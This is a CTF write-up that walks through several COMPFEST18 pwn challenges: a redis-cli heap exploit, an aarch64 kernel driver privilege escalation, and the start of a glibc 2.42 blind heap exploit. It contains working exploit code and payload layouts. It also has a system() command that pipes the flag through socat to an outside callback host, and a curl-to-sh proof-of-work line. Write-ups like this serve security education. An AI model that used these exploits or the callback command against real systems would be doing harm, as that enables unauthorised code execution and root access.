redisReaderFree(c->reader); /* NULL -> returns */
hi_free(c->tcp.host); /* NULL x5 */
...
if (c->privdata && c->free_privdata) ... /* both NULL -> skipped */
if (c->funcs && c->funcs->free_privctx)
c->funcs->free_privctx(c->privctx); /* system(cmd) <-- */
memset(c, 0xff, sizeof(*c));
hi_free(c);
}

fd=-1 ( REDIS_INVALID_FD) keeps redisNetClose from closing a live socket; zeroed pointers make every free() a no-op; and free_privctx(privctx) is system("(cat /home/ctf/flag.txt || ...) | socat — TCP:me").

Three more details that had to be right:

  • The 39 KB blob spans a live unsorted-bin chunk. Its header (size, fd, bk) is rewritten with the exact original values — which I only know because of the leak. Get this wrong and glibc aborts in malloc before ever reaching the free.
  • Multiple feeds. redisBufferRead reads 16 KB at a time and the loop stops as soon as a reply parses, so an integer reply would end the loop after one feed and truncate the blob. Instead node 8’s planted stale reply is $39800\r\n — a bulk header that only completes once r->len has grown past 256 + 8 + 39800 + 2, i.e. after all three feeds. 39800 is also deliberately larger than the free chunk (39 744 B) so the resulting hi_malloc goes to the top of the heap instead of carving up the region I just wrote.
  • The reply is a string, so dbsize < 0, so clusterManagerShowClusterInfo prints an error and returns early — straight into freeClusterManager(), which frees node 0, then node 1 → redisFree(fake_ctx) → system()

First shell (well, first id command haha)

[0] stage1 blob sent
[8] LEAK 239 bytes
[8] libc=0x7990b3600000 heap=0x5e57f9432000 system=0x7990b365c560
[8] stage2 blob 39762 bytes
=== CALLBACK ===
cat: /home/ctf/flag.txt: No such file or directory
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),...

No flag on my own deployed docker, obviously — but that’s progress! We’ve achieved arbitrary command execution, atleast.

Local container: real flag path

Rebuilt the challenge image verbatim with a placeholder flag, ran it, pointed the
exploit at it through the docker bridge:

=== FLAG CALLBACK from ('172.17.0.2', 57452) ===
COMPFEST18{f4k3_fl4g_f0r_l0c4l_t3st1ng}

Reliability check, 5 runs 4/5

Now the remote solve:

Apparently we found this issue where we need to input CTFd access token, so we just get the token from CTFd settings page.

Since it required connection back to the host, I decided to solve this on my AWS EC2 VPS, on port 1337 and used it’s public VPS ip..

$ ./solve.sh 13.238.150.105 1337 34.2.22.80 30068 ctfd_0454...
[*] cluster address string : 13.238.150.105:1337@7 (21 chars)
exploit server listening on 1337 (callback 13.238.150.105:1337)
[0] stage1 blob sent
=================== attempt 1/2 ===================
[8] LEAK 239 bytes
[8] libc=0x7c32e29f2000 heap=0x58658351f000 system=0x7c32e2a4e560
[8] stage2 blob 39762 bytes
=== FLAG CALLBACK ===
COMPFEST18{07db3141e603a471987956d7dfc4f58d266c6ab72c00491e65f18fe3de}

Boom, it worked!

Note — IP:port@BUSPORT must be 20–21 characters.

Flag:

COMPFEST18{07db3141e603a471987956d7dfc4f58d266c6ab72c00491e65f18fe3de}

Second solution (intended path — by Author)

Apparently this path didn’t need libc address leak and they used House of Spirit overlapping chunk:

  • bug is in clusterManagerNodeLoadInfo, you can provide SLOTS which are outside of the range 0–16384. this writes a 0x01 out of bound. you can provide multiple slots or even a range and 0x01 will be written entirely for that range
  • you can provide multiple node “friends” which allows you to get this write multiple times
  • to get an infoleak, you can abuse the AUTH command which is sent by redis-cli everytime it tries to connect to a friend node. the value is set as config.auth->username and password, which are strings in heap memory. they are one of the first things redis-cli allocates
  • the AUTH command uses %s, so using the OOB write, you can add 0x01 bytes to the username or password, and every byte until a null is sent to the node
  • theres a pointer to heap and to .text near there, so you can leak both. you dont need libc (other than offsets, but even that you dont need since there is a syscall gadget)
  • after you get an infoleak, you need to groom the heap. theres a reply type called PUSH replies, these are basically out-of-band messages that get processed while redis-cli is waiting for the actual reply from the server
  • PUSH replies are the same as an array, so you can have the heap allocate multiple strings to groom it
  • what i did was replace a chunk that had size 0xf1 to become 0x1f1. with careful heap feng shui we can do a House of Spirit to get overlapping chunks. its mostly feng shui all the way down, until we can corrupt a redisReply object. this object has a vtable and using the heap and .text leaks we got before, we can do a COP->ROP chain to get RCE

Menfess

Try out our new menfess device!

nc 34.2.147.230 5002

The archive is 18 MB, which already tells you it isn’t a userland heap challenge:

├── Image                 <- 50 MB raw arm64 kernel
├── initramfs.cpio.gz
├── menfess.ko <- not stripped, with debug_info
├── run.sh
├── flag.txt <- COMPFEST18{FAKE_FLAG}
├── debug/System.map <- 237k symbols, very generous
└── src/
├── Makefile
└── menfess.c <- 145 lines

Kernel pwn, aarch64, and they gave us the source and a System.map. That’s a lot of help, which usually means the intended bug is findable but the exploitation is where the work is.

run.sh:

qemu-system-aarch64 -machine virt -m 512M -smp 1 -cpu cortex-a57 \
-kernel Image -initrd initramfs.cpio.gz \
-drive file=flag.txt,if=none,id=flag,format=raw,readonly=on \
-device virtio-blk-device,drive=flag \
-append "console=ttyAMA0 kaslr oops=panic panic=-1 quiet" \
-nographic -monitor /dev/null -no-reboot

Three things I noted immediately:

  1. The flag is a block device, not a file. It’s attached as a raw virtue disk, so it shows up as /dev/vda , which is root:disk 0660. So the goal is genuinely root, not just read a file.
  2. kaslr is on, and there’s no nokaslr to be found.
  3. oops=panic panic=-1 -no-reboot. Any wrong dereference kills the box outright. That rules out bruteforcing — which means I’ll have to be right on my first try.

The init script confirms the setup:

insmod /menfess.ko
mkdir -p /mnt/flag
ln -s /dev/vda /flag.txt
clear; cat banner.txt; chmod 400 banner.txt
chmod 777 /tmp
exec /bin/sh -c "exec setsid cttyhack setuidgid 1000:1000 /bin/sh"

We land as uid 1000, and tmp is word-writable — a hint that they expect us to drop a file there (useful later if I’d needed modprobe_path).

Reading the driver

145 lines, thre ioctls. The object is quite dead simple:

#define MENFESS_SIZE  64
#define MENFESS_COUNT 8

struct Menfess {
char content[MENFESS_SIZE]; // 0x00..0x40
void (*send_func)(char *); // 0x40
}; // sizeof == 72

static struct Menfess *menfess_list[MENFESS_COUNT];

Bug #1 — off-by-eight

case CMD_CREATE_MENFESS: {
...
if (req.size > sizeof(struct Menfess)) // <= 72, not <= 64 ***
return -EINVAL;
if (req.index >= MENFESS_COUNT)
return -EINVAL;

struct Menfess *obj = kzalloc(sizeof(struct Menfess), GFP_KERNEL);
obj->send_func = default_func;
memcpy(obj->content, req.data, req.size); // dest is 64 bytes ***
menfess_list[req.index] = obj;
return 0;
}

The size is validated against sizeof(struct Menfess) (72) but copied into content , which is 64. Pass size == 72and the last 8 bytes land exactly on send_func. Note the ordering too: send_func is assigned before the memcpy, so our value wins.

An send_func is called, unconditionally, by the next ioctl:

case CMD_SEND_MENFESS:
...
obj->send_func(obj->content);

So this is a straight arbitrary function-pointer call, with x0 pointing at 64 bytes of fully controlled kernel heap data. That’s a strong primitive, but note what it is not: I control the target and one register’s pointer, not the register’s value. commit_creds(&init_cred) needs x0 == &init_cred and x0 is stuck being a heap address. Now, keep that up in your mind, because it’ll come back later.

Bug #2 — missing bounds check

Compare the three handlers:

case CMD_CREATE_MENFESS:  if (req.index >= MENFESS_COUNT) return -EINVAL;   // ok
case CMD_SEND_MENFESS: if (req.index >= MENFESS_COUNT) return -EINVAL; // ok
case CMD_VIEW_MENFESS:
if (menfess_list[req.index] == NULL) // <- no check at all ***
return -EINVAL;
struct Menfess *obj = menfess_list[req.index];
if (copy_to_user(&((struct view_req __user *)arg)->data, obj, sizeof(*obj)))
return -EFAULT;

re.index is an unsigned long, and it’s used raw. menfess_list + 8index can therefore be any address in the 64-bit space (it wraps) So VIEW gives:

read a pointer from an arbitrary address, then dump 72 bytes from wherever that pointer points.

A double dereference, not a plain arbitrary read. That distinction matters a lot — I can’t just say “read device_ktype", I’ll need to find a “slot in memory that already contains a pointer” to something whose layout I know.

Disassembly time

The source could be lying (it happens, sometimes based on my experience) so I checked the actual .ko :

 f0:   ldr     x1, [x2, x1, lsl #3]    ; menfess_list[index]  -- no bound
f4: cbz x1, ...
f8: ldr x2, [x1, #64] ; obj->send_func
fc: mov x0, x1
100: blr x2 ; x0 == x1 == obj
...
1a0: ldr x1, [sp, #48] ; req.size
1a8: cmp x1, #0x48 ; 72
1ac: b.hi ... ; so size == 72 is allowed
...
1e4: str x3, [x0, #64] ; send_func = default_func
1e8: add x1, sp, #0x40
1ec: bl memcpy ; then overwritten

Both bugs confirmed, and one bonus fact: at the blr, x1 is also obj . I noted that in case I found a two-argument gadget

Now, what are we up against?? 💀

Before designing anything, I wanted the kernel config. .config isn’t shipped, but CONFIG_IKCONFIG_PROC leaves a gzip blob in the image:

grep -abo IKCFG_ST Image     # -> 17872216

Carve between IKCFG_ST and IKCFG_ED , gunzip and you get the full config. The relevant lines:

CONFIG_RANDOMIZE_BASE=y
CONFIG_RANDOMIZE_MODULE_REGION_FULL=y <- module base != kernel base
CONFIG_UNMAP_KERNEL_AT_EL0=y <- KPTI
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_VMAP_STACK=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARM64_PTR_AUTH_KERNEL=y
CONFIG_ARM64_BTI=y
CONFIG_KALLSYMS_ALL=y
# no CONFIG_STATIC_USERMODEHELPER
# no CONFIG_CFI_CLANG (it's a GCC build)
# no CONFIG_SLAB_FREELIST_RANDOM / HARDENED_USERCOPY / KASAN

Reading that list:

  • RANDOMIZE_MODULE_REGION_FULL=y is the annoying one. The obvious leak — VIEW index 0 hands you send_func == default_func , i.e. the module text base — is useless for finding commit_creds, because the module region is randomized independently of the kernel image. I need a separate kernel leak.
  • PAC and BTI are configured but the CPU is cortex-a57 , which implements neither. Every paciasp/ autiasp / bti in the image is a NOP at runtime. So no pointer-auth on return addresses and no landing-pad enforcement on indirect branches. That makes JOP (Jump Oriented Programming) viable!
  • GCC build, so no kCFI — an indirect call can go anywhere 🎉
  • STRICT_KERNEL_RWX + arm64’s PXN linear map means no shellcode on the heap and no ret2usr. Everything has to be existing kernel code.
  • No STATIC_USERMODEHELPER , so modprobe_path / poweroff_cmd remain a viable fallback if I an get an arbitrary write.

Also, you remember that System.map was provided, right? That was an absolute gift from the gods, because everything we need is a fixed offset from _text :

ffff800080000000 T _text
ffff8000800e0388 T commit_creds
ffff800082b74f00 d init_cred
ffff8000816b3180 d device_ktype
ffff800082bfa730 D modprobe_path

(Small aside: my first pass at grepping this file came back empty and for about thirty seconds I believed the symbols were stripped. My pattern had a stray leading space in it. Always check your greps)

Getting a lab

Since my box doesn’t have aarch64 QEMU (qemu-system-aarch64) and no cross-compiler, I decided to install with sudo apt-get :

sudo apt-get install -y gcc-aarch64-linux-gnu qemu-system-arm gdb-multiarch

I rebuilt the intramfs with a debug /init that stays root an dumps /proc/kallsyms ( local/init.symbols), so I could check every assumption against ground truth before ever touching the remote.

The leak

I need a kernel-image pointer, and my primitive is “give me an address that contains a pointer, and I’ll dump 72 bytes from that pointer”.

Candidates I considered off the module’s data

| Slot                           | `*A` points to                               | Verdict                                                                       |
|--------------------------------|----------------------------------------------|-------------------------------------------------------------------------------|
| `__this_module.list.next/prev` | `modules` list head in kernel `.data` | dumping there gives me list pointers back into the module, not a named symbol |
| `menfess_dev.list.prev` | `&misc_list` in kernel `.data` | same problem — the neighbours aren't stable |
| `menfess_dev.fops` | `&menfess_fops` in module rodata | only gives module text, which I already have and can't use |
| `menfess_dev.this_device` | the `struct device *` from `misc_register()` | ✅ Works |

The last one wins. misc_register() calls device_create() which calls device_initialize() which does kobject_init(&dev->kobj, &device_ktype) . And struct device begins with its struct kobject:

struct kobject {
const char *name; // +0
struct list_head entry; // +8
struct kobject *parent; // +24
struct kset *kset; // +32
const struct kobj_type *ktype; // +40 <- &device_ktype
...
};

ktype sits at offset 40, comfortably inside the 72 bytes VIEW hands back. device_ktype is a named symbol at a fixed address from _text. That’s my kernel base.

Though, I still need the address of menfess_dev.this_device, and the module base is randomized. But here’s the thing: the VIEW index is relative to menfess_list, and both menfess_list ( .bss) and menfess_dev ( .data) live in the same module memory region ( MOD_DATA). Their relative ofset is decided by the module loader from the ELF section table alone, so it’s identical on every boot and every machine running this .ko. I never need an absolute module address at all, I just needed the delta.

Booted the debug initramfs to measure it:

ffffa3f3ad99a000 b menfess_list   [menfess]
ffffa3f3ad99a040 d menfess_dev [menfess]

Delta is 0x40 — menfess_dev starts immediately after the 64-byte menfess_list array. So, indexing in 8-byte units past the array:

index  8  -> menfess_dev.minor        (an int! small value, DO NOT dereference)
index 9 -> menfess_dev.name
index 10 -> menfess_dev.fops
index 11 -> menfess_dev.list.next
index 12 -> menfess_dev.list.prev
index 13 -> menfess_dev.parent
index 14 -> menfess_dev.this_device <- this one

Index 14 it is. And index 8 is exactly why I couldn't just scan a range of indices to find the leak: minor is a small integer like 0x7f, and dereferencing it under oops=panic ends the run.

Validating leak without trusting struct offset

Rather than hardcore “offset 40”, the exploit scans all nine returned words for one that looks like device_ktype. arm64’s KASLR slide is 2 MB-aligned, so the low 21 bits of every kernel symbol survive randomization:

if ((c >> 48) == 0xffff && (c & 0x1fffff) == (OFF_DEVICE_KTYPE & 0x1fffff))
kbase = c - OFF_DEVICE_KTYPE;

0x16b3180 & 0x1fffff == 0xb3180. A false positive would need a 21-bit match on a kernel-range pointer inside the same 72 bytes; in practice it hits ktype and nothing else. This also means the exploit survives struct kobject growing a field.

The call primitive: only x0, and it’s a pointer 💀

Now the interesting half. I have f(x0) where f is arbitrary and x0 is a heap pointer to 64 controlled bytes. What I want is commit_creds(&init_cred) . Things I threw out:

  • Fake struct cred at x0, call commit_creds directly. This is the average textbook move, but struct cred is ~176 bytes and I only control 64 (bytes 64–71 are send func, 72–95 are slab padding, past that is the neighbouring object). I’d have to groom kmalloc-96 neighbours to control the rest, and commit_creds touches ->user, ->user_ns , ->ucounts, keyrings — plenty of chances to eat a NULL deref, which is instant death here. Too fragile for a one-shot solve.
  • prepare_kernel_cred(NULL) needs x0 == NULL ; mine is a heap pointer, which it would happily treat it as task_struct.
  • call_usermodehelper(path, argv, envp, wait) needs four registers. x2 at the call site happens to hold the function pointer itself and x3 is leftover garbage. — envp would get dereferenced as an array of strings.
  • Overwrite modprobe_path / poweroff_cmd, then trigger it. Genuinely attractive ( /tmp is 777 for a reason), but writing a string needs an arbitrary write, and the only write-shaped gadgets take their value from a register I don’t control — I’d be writing a heap address, not /tmp/x
  • Shellcode/ret2usr. Dead on arrival because of PXN + STRICT_KERNEL_RWX.

So what I actually need is a JOP gadget that reloads both the target and x0 from memoy x0 already points to:

ldr <reg>, [x0, #a]
ldr x0, [x0, #b]
blr <reg>

That converts my one-register primitive into “call anything with anything”. So I decided to write a small scanner and carve .text out of the flat image (file offset = vaddr — 0xfffff8000800000000), decode fixed-width A64, and look back a few instructions from every br/ blr Xn:

def ldr_imm(i):                     # LDR Xt, [Xn, #imm]  64-bit unsigned offset
if (i & 0xFFC00000) == 0xF9400000:
return i & 31, (i >> 5) & 31, ((i >> 10) & 0xFFF) * 8
def branch_reg(i):
if (i & 0xFFFFFC1F) == 0xD61F0000: return "br", (i >> 5) & 31
if (i & 0xFFFFFC1F) == 0xD63F0000: return "blr", (i >> 5) & 31

56 candidates, about a dozen with both offsets inside my 64-byte buffer. I disassembled the promising ones in context, and this is where the oops=panic constraint bit one more time: most of them are mid-function so entering there skips the prologue and the epilogue then pops a garbage x30. Even if commit_creds had already succeeded, the return would panic the box and I’d never get to read the flag. I needed a gadget with a balanced frame.
cts_coc_crpyt_done+0x8 is exactly that:

ffff8000805649c8:  paciasp                      <- enter here (NOP on a57)
ffff8000805649cc: stp x29, x30, [sp, #-16]! <- push
ffff8000805649d0: add x0, x0, #0x20
ffff8000805649d4: mov x29, sp
ffff8000805649d8: ldr x2, [x0, #16] ; x2 = *(obj + 0x30)
ffff8000805649dc: ldr x0, [x0, #24] ; x0 = *(obj + 0x38)
ffff8000805649e0: blr x2
ffff8000805649e4: ldp x29, x30, [sp], #16 <- pop
ffff8000805649e8: autiasp
ffff8000805649ec: ret <- clean return into the ioctl

It’s just the tail of a crypto completion callback ( skcipher_request_complete inlined), but read as a gadget it is precisely:

call( *(obj + 0x30), *(obj + 0x38) )   and then return normally

Both operands are at offsets 48 and 56 — inside content[] . And because I enter at the paciasp rather after it, the push and the pop match, x30 is intact, and the ioctl unwinds like nothing happened. That’s what makes this a repeatable primitive rather than a one-way trip.

Layout of the 72-byte payload:

 content[ 0..48]  0
content[48..56] kbase + commit_creds
content[56..64] kbase + init_cred
send_func kbase + cts_cbc_crypt_done + 8 <- the overflowing 8 bytes

SEND → gadget → commit_creds(&init_cred) → we’re init's credentials, full capabilities, and the ioctl returns 0.

The exploit

Written freestanding — raw svc #0 syscalls, no libc — for one very practical reason: I have to get this binary into a busybox shell over a raw TCP socket. Static glibc is ~700 KB; this is 66 KB, and 2272 bytes after gzip | base64.The

Theexp.c I used to solve:

/* offsets from _text (ffff800080000000), straight out of debug/System.map */
#define OFF_DEVICE_KTYPE 0x16b3180UL
#define OFF_COMMIT_CREDS 0x000e0388UL
#define OFF_INIT_CRED 0x2b74f00UL
#define OFF_GADGET 0x005649c8UL /* cts_cbc_crypt_done+0x8 */

int fd = open_ro("/dev/menfess", 2);

struct view_req v = { .index = 14 };
ioctl3(fd, CMD_VIEW, &v);

u64 kbase = 0, *q = (u64 *)v.data;
for (int i = 0; i < 9; i++) {
u64 c = q[i];
if ((c >> 48) == 0xffff && (c & 0x1fffff) == (OFF_DEVICE_KTYPE & 0x1fffff)) {
kbase = c - OFF_DEVICE_KTYPE;
break;
}
}

struct create_req c = { .size = 72, .index = 0 };
*(u64 *)(c.data + 48) = kbase + OFF_COMMIT_CREDS;
*(u64 *)(c.data + 56) = kbase + OFF_INIT_CRED;
*(u64 *)(c.data + 64) = kbase + OFF_GADGET;
ioctl3(fd, CMD_CREATE, &c);

struct send_req s = { .index = 0 };
ioctl3(fd, CMD_SEND, &s);
if (sys(SYS_getuid, ...) == 0) { /* this part read /dev/vda, exec /bin/sh */ }

My local run:

== running exploit as uid 1000 ==
[+] kernel base: 0xffffccb834e00000
[+] uid = 0x0000000000000000
[+] we are root
[+] /dev/vda:
COMPFEST18{local_fake_flag_for_testing_1234567890}

Root shell works. Now let’s test it on remote.

proof of work:
curl -sSfL https://pwn.red/pow | sh -s s.AABOIA==.sEqdXRA6fR7JkUgR2Bd+fA==
solution:

Ahem, a redpwn proof of work (this is just to prevent bruteforcing for CTF events).

Now just add a PoW solver and now run it on remote:

[*] pow challenge: s.AABOIA==.z5pitK1STVO9XtBgchw2cA==
[*] solved in 17.8s
[*] uploading 2272 bytes in 6 chunks
66232 /tmp/exp
/tmp $ /tmp/exp
[+] kernel base: 0xffffb9ceba400000
[+] uid = 0x0000000000000000
[+] we are root
[+] /dev/vda:
COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}
/tmp #

Flag:

COMPFEST18{JUs7_Simpl3_k3rn3l_pwn_83ff046e01ea03c8f9ebf59e}

未来日記 (Mirai Nikki)

The challenge attachment image (literally 🙏 😭)

We’re given public.zip, after extracting:

$ ls
public.zip
$ mkdir pub && unzip -o public.zip -d pub
$ find pub -type f
pub/public/ld-linux-x86-64.so.2
pub/public/flag.txt
pub/public/chall
pub/public/libc.so.6
pub/public/docker-compose.yml
pub/public/Dockerfile
pub/public/chall.c

We got the source, a libc.so.6 and a matching ld-linux shipped alongside.

flag.txt is local fake flag, and the Dockerfile tells us where the real one lives:

FROM pwn.red/jail
COPY --from=ubuntu@sha256:7cc5e35f6567ee8c66d2abb4aab0fd866669e6207c237c3a8f0947a5c7f17092 / /srv
COPY ./chall /srv/app/run
COPY ./flag.txt /srv/app/flag.txt
ENV JAIL_PORT=1337

pwn.red/jail chroots into /srv, so from inside the jail flag is at /app/flag.txt. The base image is an Ubuntu 25.10 rootfs, which is where the 2.42 libc comes from.

docker-compose.yml has read_only:true — so no writing files, no /tmp shenanigans. We need a shell ( or at least an arbitrary read) inside the process.

Source code Analysis

chall.c is 90 lines and it is exactly the usual classic notes menu:

#define NIKKI_MAX   7
#define NIKKI_MAXSZ 0x500
#define NIKKI_MINSZ 0x8

char *nikkis[NIKKI_MAX];
int sizes[NIKKI_MAX];

Four menu entries. Let’s take them one at a time.

add() — bounds-checks idx into [0,7) and size into [0,0x500] , mallocs, and stores:

  nikkis[idx] = nikki;
sizes[idx] = size;

Note: it does not check whether nikkis[idx] was already occupied. Allocating over a live index just leaks the old chunk (it stays allocated, we just lose the pointer). That turns out to be useful, not a bug to avoid — it lets us make an unbounded number of “guard” allocations while only ever burning one of our seven slots.

delete() — bounds-checks idx , then:

  free(nikkis[idx]);

That’s it. No nikkis[idx] = NULL . So:

  • the pointer stays valid after free() → use-after-free,
  • delete() on the same index twice → double free,
  • and sizes[idx]` is never reset either.

edit() — bounds-checks idx, then:

  read(0, nikkis[idx], sizes[idx]);

Two things here that matter enormously later:

  1. read() — not fgets, not a loop,. It returns as soon as some data is available, which means we can write a prefix of any length we like. That is the whole basis of every partial-pointer-overwrite in this exploit. Want to change only the lower 2 bytes of a pointer sitting at offset 0x318? Then send exactly 0x31a bytes.
  2. sizes[idx] is whatever was set at add()time and is "never" re-validated against the chunk's actual size. If we can arrange for nikkis[idx] to still hold a 0x500-sized sizes[idx] while the memory underneath has been re-partitioned into smaller chunks, we get a fat overlapping write window (Spoiler; that’s what happened)

predict() — the flavor function, and the one that made me stare at it for twenty minutes:

void predict() {
char* test = nikkis[0];
if (test == NULL){ printf("cant predict"); return; }
unsigned short secret = ((unsigned short)test) >> 12;
printf("TAKE THIS: %x\n", secret);
}

Cast a 64-bit pointer down to unsigned short (keeps bits 0–15), then >> 12. So it prints bits 12–15 of nikkis[0] — four bits of a heap address. I disassembled it just to be sure the compiler did the obvious thing and it did:

    1235:  mov    rax,QWORD PTR [rip+0x2e24]   # 4060 <nikkis>
1261: shr ax,0xc
1269: movzx eax,WORD PTR [rbp-0xa]
127e: call 10f0 <printf@plt>

shr ax, 0xc — yep, 16-bit shift, four bits out. Hold that thought, we’ll come back to it later and conclude something slightly depressing.

So the bug inventory is: UAF read/write into freed chunks, plus double free, plus a size/pointer desync we can manufacture. That’s a lot of primitive. The challenge isn’t finding the bug. The challenge is what glibc lets you do with it.

Protections, and the thing that changed everything: glibc 2.42

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

Full RELRO klls GOT overwrite. PIE means we don’t know the binary base. Fine, standard enough.

Then I discovered this:

$ strings libc.so.6 | grep "GNU C Library"
GNU C Library (Ubuntu GLIBC 2.42-0ubuntu3.1) stable release version 2.42.

2.42. This is very new. Everything I know about tcache internals is a suspect here. Also note:

$ readelf -lW libc.so.6 | grep LOAD
LOAD 0x000000 ... R 0x1000
LOAD 0x028000 ... R E 0x1000
LOAD 0x1c1000 ... R 0x1000
LOAD 0x22fba0 ... RW 0x1000

p_align = 0x1000 . That’s worth checking explicitly, because if libc had been built with 2MB alignment its base would have bits 12–20 forced to zero and every “partial overwrite of a libc pointer” would be free. It isn’t, libc’s base has 4 random bits in positions 12–15 , and those four bits are going to be the entire cost of this exploit.

Useful offsets (from pwntools ELF parse of the provided libc):

| symbol | offset |
|---------------------------------------------|--------------------------------------|
| `main_arena` | `0x234ac0` |
| `_IO_list_all` | `0x2354c0` |
| `_IO_2_1_stderr_` | `0x2354e0` |
| `_IO_2_1_stdout_` | `0x2355c0` |
| `stderr` / `stdout` / `stdin` (the globals) | `0x2356a0` / `0x2356a8` / `0x2356b0` |
| `_IO_file_jumps` | `0x233030` |
| `_IO_wfile_jumps` | `0x233228` |
| `system` | `0x5c4c0` |
| `mp_` | `0x234180` |

Local test rig — patch the binary to use the shipped loader/libc so gdb sees the real thing:

cp chall chall_local
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 chall_local

The real problem — zero read primitive

Here’s the thing that reframes the whole challenge, and it took me a couple of minutes to actually internalise:

There is no show().

Go back and look at the menu. add, delete, edit, predict. There is nothing that prints heap contents. The only printf calls in the binary are:

  • constant strings (“yo”, the menu, "illegal", "what"), and printf("TAKE THIS: %x\n", secret) — four bits.

And %x on a value we already know the provenance of is not a format-string bug.

So this is a fully blind heap exploit. Every technique I’d normally reach for starts with “free a big chunk into the unsorted bin, print it, get libc”. None of that exists here. We have to cause a leak using nothing but writes, and every write target has to be derived from something we can compute without knowing a single runtime address.

What do we not know?

  • heap base: bits 12+ random. predict() gives us bits 12–15 and nothing else.
  • libc base: bits 12+ random. We know nothing.
  • binary base: bits 12+ random. We know nothing, and Full RELRO makes it useless anyway.
  • stack: nothing.

What can we compute? Only two kinds of thing:

  1. Offsets within a structure we control (heap layout is deterministic given a fixed allocation sequence — we know every chunk’s offset from the heap base, just not the base).
  2. Low bits of pointers that already exist in memory, if we overwrite only some of the bytes. A libc pointer’s low 12 bits are fixed by the symbol offset; bits 12–15 are the 4 random bits; bits 16+ we keep by not writing them.

That second one is the entire exploit. Everything below is an elaborate machine for getting one raw, unmangled libc pointer into a position where edit() can chew off its low two bytes.

What predict() actually gives you (and why it’s less than it looks)

Four bits of heap. My first instinct was: that’s the low nibble of the safe-linking key.

Safe-linking (glibc ≥ 2.32):

#define PROTECT_PTR(pos, ptr)  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

The key is (&e->next >> 12q — i.e. bits 12+ of the chunk’s user pointer. predict() gives us bits 12–15 of a heap pointer, which is exactly the low 4 bits of that key. So for tcache poisoning we’d be missing bits 16+ of the key, and:

  • a 1-byte fd overwrite needs key bits 0–7 → address bits 12–19 → 4 unknown bits → 1/16
  • a 2-byte fd overwrite needs key bits 0–15 → address bits 12–27 → 12 unknown bits → 1/4096

So predict() buys us a 1/16 tcache poison within a 0x100 window, which is a real but very weak primitive — it can shift an allocation by up to 0xff bytes and that’s it.

Can we get more bits out of it?

I spent a while on this because it seemed like the intended path. The idea: nikkis[0] changes as we allocate, so cal l predict() on chunks at different offsets and look for carry propagation.

Get Vxmp’s stories in your inbox

Join Medium for free to get updates from this writer.

Let H be the heap base (page-aligned, so bits 0–11 are zero) and let a chunk sit at H + off with off known. predict returns bits12..15(H+off). Because H's low 12 bits are zero and off's low 12 bits can’t carry past bit 11 into anything we don’t already know:

bits12..15(H + off) = ( bits12..15(H) + bits12..15(off) + carry_from_below_bit_12 ) & 0xF
= ( bits12..15(H) + bits12..15(off) ) & 0xF

The carry out of bit 15 is discarded by the & 0xF, and no information about H's bits 16+ ever flows down into bits 12–15. So no matter how far we walk the heap, predict() returns the same four bits of entropy, forever. Growing the heap by megabytes (which we could do — add() oer a live index leaks chunks) changes nothing.

Conclusion: predict() is worth exactly 4 bits of heap and cannot be leveraged into more.

And here’s the punchline that I only appreciated later: the final exploit doesn’t use predict() at all. The path I found brute-forces 4 bits of libc, not heap, and gets them for free from an unmangled pointer. predict() is the intended nudge toward a heap-side tcache-poisoning solution; there’s a cleaner one that ignores it. (Which is a nice property — it means the exploit is deterministic given the libc nibble, and the nibble is only 1/16.)

Learning glibc 2.42’s malloc from literally SCRATCH

Before designing anything I needed to know what 2.42’s allocator actually looks like, because several of my assumptions were about to be wrong. I did this in two ways:

  • disassembling the shipped libc
  • pulling the extract source
objdump -d --no-show-raw-insn -M intel libc.so.6 > libc.asm
python3 -c "
import urllib.request
u='https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=malloc/malloc.c;hb=refs/tags/glibc-2.42'
open('malloc.c','wb').write(urllib.request.urlopen(u).read())"

The tcache struct changed 💀

# define TCACHE_SMALL_BINS  64
# define TCACHE_LARGE_BINS 12 /* Up to 4M chunks */
# define TCACHE_MAX_BINS (TCACHE_SMALL_BINS + TCACHE_LARGE_BINS)

typedef struct tcache_perthread_struct
{
uint16_t num_slots[TCACHE_MAX_BINS];
tcache_entry *entries [TCACHE_MAX_BINS];
} tcache_perthread_struct;

Two changes from what you might remember:

  • counts[] is now num_slots[] — it counts remaining capacity, not occupancy. It starts at mp_.tcache_count (7), decrements on tcache_put, increments on tcache_get.
  • There are 76 bins, not 64. Bins 64–75 are a new large tcache with a different, sorted insertion scheme.

I confrimed the layout straight out of __libc_malloc:

   b5702:  mov    rdx,rax
b5705: shr rdx,0x4
b5709: lea rsi,[rdx-0x2] ; rsi = tc_idx
b570d: cmp rsi,0x3f
b5711: ja b5758 ; tc_idx > 63 -> large tcache path
b5713: add rdx,0x10
b5717: mov rax,QWORD PTR [rcx+rdx*8+0x8] ; entries[tc_idx] (= tcache + tc_idx*8 + 0x98)
b571c: test rax,rax
b571f: je b5750
b5721: test al,0xf
b5723: jne b5810 ; "malloc(): unaligned tcache chunk detected"
b5729: mov rdi,rax
b572c: shr rdi,0xc
b5730: xor rdi,QWORD PTR [rax] ; REVEAL_PTR(e->next)
b5733: mov QWORD PTR [rcx+rdx*8+0x8],rdi
b5738: add WORD PTR [rcx+rsi*2],0x1 ; ++num_slots[tc_idx] <-- !!

num_slots at tcache+0 , entries at tcache+0x98 . And critically, entries[I] (the list head) is stored raw; only e->next is mangled. So i you can write to the tcache struct itself you get a completely unprotected arbitrary-allocation primitive… but you’d need a pointer to the tcache struct, which neds a working tcache poison, which needs the heap key. Cool, I guess.

Also from that snippet, is the large tcache live by default?

.tcache_max_bytes = MAX_TCACHE_SMALL_SIZE,   /* tidx2usize(63) = 0x408 */

nb < 0x408 for the tcache path, and csize2tidx(0x400) = 62 < 64 . So tc_idx can never exceed 64 without the default tunables — the large tcache is dead code here. Which means the old rule still holds: chunks with size ≥ 0x410 skip the tcache entirely and go staright to the unsorted bin. Our max request is 0x500 → chunk 0x510 . That’s above the line! Good, I guess.

free()’s ordering

  if (size < mp_.tcache_max_bytes && tcache != NULL)
{
tcache_entry *e = (tcache_entry *) chunk2mem (p);
